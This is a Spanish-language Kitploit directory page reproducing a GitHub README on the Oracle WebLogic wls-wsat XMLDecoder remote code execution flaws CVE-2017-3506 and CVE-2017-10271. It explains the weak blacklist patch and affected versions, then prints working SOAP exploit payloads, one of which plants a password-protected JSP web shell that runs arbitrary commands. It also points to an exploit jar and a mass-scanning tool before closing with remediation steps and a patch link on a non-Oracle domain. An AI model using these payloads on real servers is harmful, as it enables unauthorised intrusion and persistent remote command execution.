Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Oracle-WebLogic-CVE-2017-10271-master | Kitploit
Herramientas/GitHubGitHub/lonehand/oracle-weblogic-cve-2017-10271-master
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlHerramienta de Acceso Remoto
GitHublonehand/oracle-weblogic-cve-2017-10271-master

Oracle-WebLogic-CVE-2017-10271-master

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
11hace 8 añosAún no revisado

WebLogic Wls-wsat XMLDecoder

Descripción de la vulnerabilidad

mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506

En las primeras etapas, los atacantes aprovecharon las vulnerabilidades del componente WLS de WebLogic para lanzar ataques remotos a gran escala contra servidores empresariales. Se comprometieron servidores de una gran cantidad de empresas, y el número de empresas atacadas mostraba una clara tendencia al alza, por lo que se debe prestar gran atención. Entre ellas, CVE-2017-3506 es una vulnerabilidad de ejecución remota de código que explota el componente WLS de Oracle WebLogic; se trata de una vulnerabilidad explotada en la naturaleza sin detalles públicos, y muchas empresas aún no han instalado el parche a tiempo. Oracle publicó el parche para esta vulnerabilidad en abril de 2017.

Explicación del parche CVE-2017-3506:

root@kitploit:~
public WorkContextXmlInputAdapter(InputStream is)
  {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    try
    {
      int next = 0;
      next = is.read();
      while (next != -1)
      {
        baos.write(next);
        next = is.read();
      }
    }
    catch (Exception e)
    {
      throw new IllegalStateException("Failed to get data from input stream", e);
    }
    validate(new ByteArrayInputStream(baos.toByteArray()));
    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
  }
  
  private void validate(InputStream is)
  {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try
    {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler()
      {
        public void startElement(String uri, String localName, String qName, Attributes attributes)
          throws SAXException
        {
          if (qName.equalsIgnoreCase("object")) {
            throw new IllegalStateException("Invalid context type: object");
          }
        }
      });
    }
    catch (ParserConfigurationException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (SAXException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (IOException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
  }

Solo se agregó una función validate antes de la deserialización; si qName es igual a object, lanza una excepción y termina. Se puede decir que es simple y contundente. Sin embargo, este tipo de corrección mediante listas negras difícilmente logra una reparación completa. Merece una reflexión profunda...

El método de explotación de esta vulnerabilidad es relativamente simple: el atacante solo necesita enviar una solicitud HTTP cuidadosamente construida para obtener los permisos del servidor objetivo, lo que causa un daño enorme. Debido a que la vulnerabilidad es relativamente nueva, todavía existen muchos hosts que no han actualizado los parches correspondientes. Se prevé que tras este incidente repentino, es muy probable que la cantidad de ataques se dispare y que una gran cantidad de hosts nuevos se vean comprometidos.

El parche de abril de Oracle no reparó por completo la vulnerabilidad CVE-2017-3506; se puede omitir el parche y seguir ejecutando comandos remotos. La vulnerabilidad de omisión actual, CVE-2017-10271, fue corregida en el parche de octubre publicado por Oracle.

Identificador de la vulnerabilidad

CVE-2017-10271 (vulnerabilidad de omisión de ejecución remota de comandos en wls-wsat)

Versiones afectadas

Oracle WebLogic Server versión 10.3.6.0.0

Oracle WebLogic Server versión 12.1.3.0.0

Oracle WebLogic Server versión 12.2.1.1.0

Oracle WebLogic Server versión 12.2.1.2.0

Listado de directorios de wls-wsat

root@kitploit:~
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11

Método de explotación

PoC:

CmdShell
root@kitploit:~
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<%   if("secfree".equals(request.getParameter("password"))){  
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();  
        int a = -1;  
        byte[] b = new byte[2048];  
        out.print("<pre>");  
        while((a=in.read(b))!=-1){  
            out.println(new String(b));  
        }  
        out.print("</pre>");  
    } %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

exploit

CmdShell : http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami

exploit

Ejecutar comandos
root@kitploit:~
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="1">
                       <void index="0">
                        <string>calc</string>
                    </void>
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>

exploit

Obtener un CmdShell mediante Exp

WebLogic_Wls-Wsat_RCE_Exp.jar

exploit

Detección masiva de activos

WebLogic-Wls-wsat-XMLDecoder

exploit exploit

Recomendaciones de remediación

  1. Actualice al parche de octubre de Oracle.

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip

  1. Implemente control de acceso sobre los recursos que acceden a wls-wsat.

  2. Solución temporal

Bajo la premisa de no afectar el negocio, y según la ruta del entorno real, elimine los siguientes paquetes war y directorios del programa WebLogic:

root@kitploit:~
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

Después de reiniciar el servicio o el sistema WebLogic, confirme si al acceder al siguiente enlace se devuelve 404:

http://ip:port/wls-wsat/CoordinatorPortType11

Oracle-WebLogic-CVE-2017-10271-master

Descargar herramienta